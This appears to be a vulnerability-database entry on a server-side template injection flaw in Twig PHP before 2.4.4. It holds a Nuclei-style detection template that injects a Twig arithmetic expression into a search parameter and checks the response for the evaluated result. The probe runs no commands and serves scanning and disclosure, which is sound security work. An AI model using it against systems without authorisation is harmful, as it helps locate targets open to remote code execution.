twig-php-ssti: Twig PHP <2.4.4 template engine - SSTI

日期: 2025-08-01 | 影响软件: Twig PHP | POC: 已公开

漏洞描述

A vulnerability in Twig PHP allows remote attackers to cause the product to execute arbitrary commands via an SSTI vulnerability.

PoC代码[已公开]

id: twig-php-ssti

info:
  name: Twig PHP <2.4.4 template engine - SSTI
  author: madrobot
  severity: high
  description: A vulnerability in Twig PHP allows remote attackers to cause the product to execute arbitrary commands via an SSTI vulnerability.
  metadata:
    max-request: 1
  tags: php,ssti,twig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/search?search_key=%7B%7B1337*1338%7D%7D"

    skip-variables-check: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "1788906"

      - type: status
        status:
          - 404
        negative: true
# digest: 4b0a00483046022100a92972d31cf2519de4efef3f7b48faaa31f81c6dad00eb85a6c6801dd5003f05022100dda8d230bccd48ae64bbfdeb2a5318d893f497ba9d082c3de7faa9d16c5e63b6:922c64590222798bb761d5b6d8e72950

相关漏洞推荐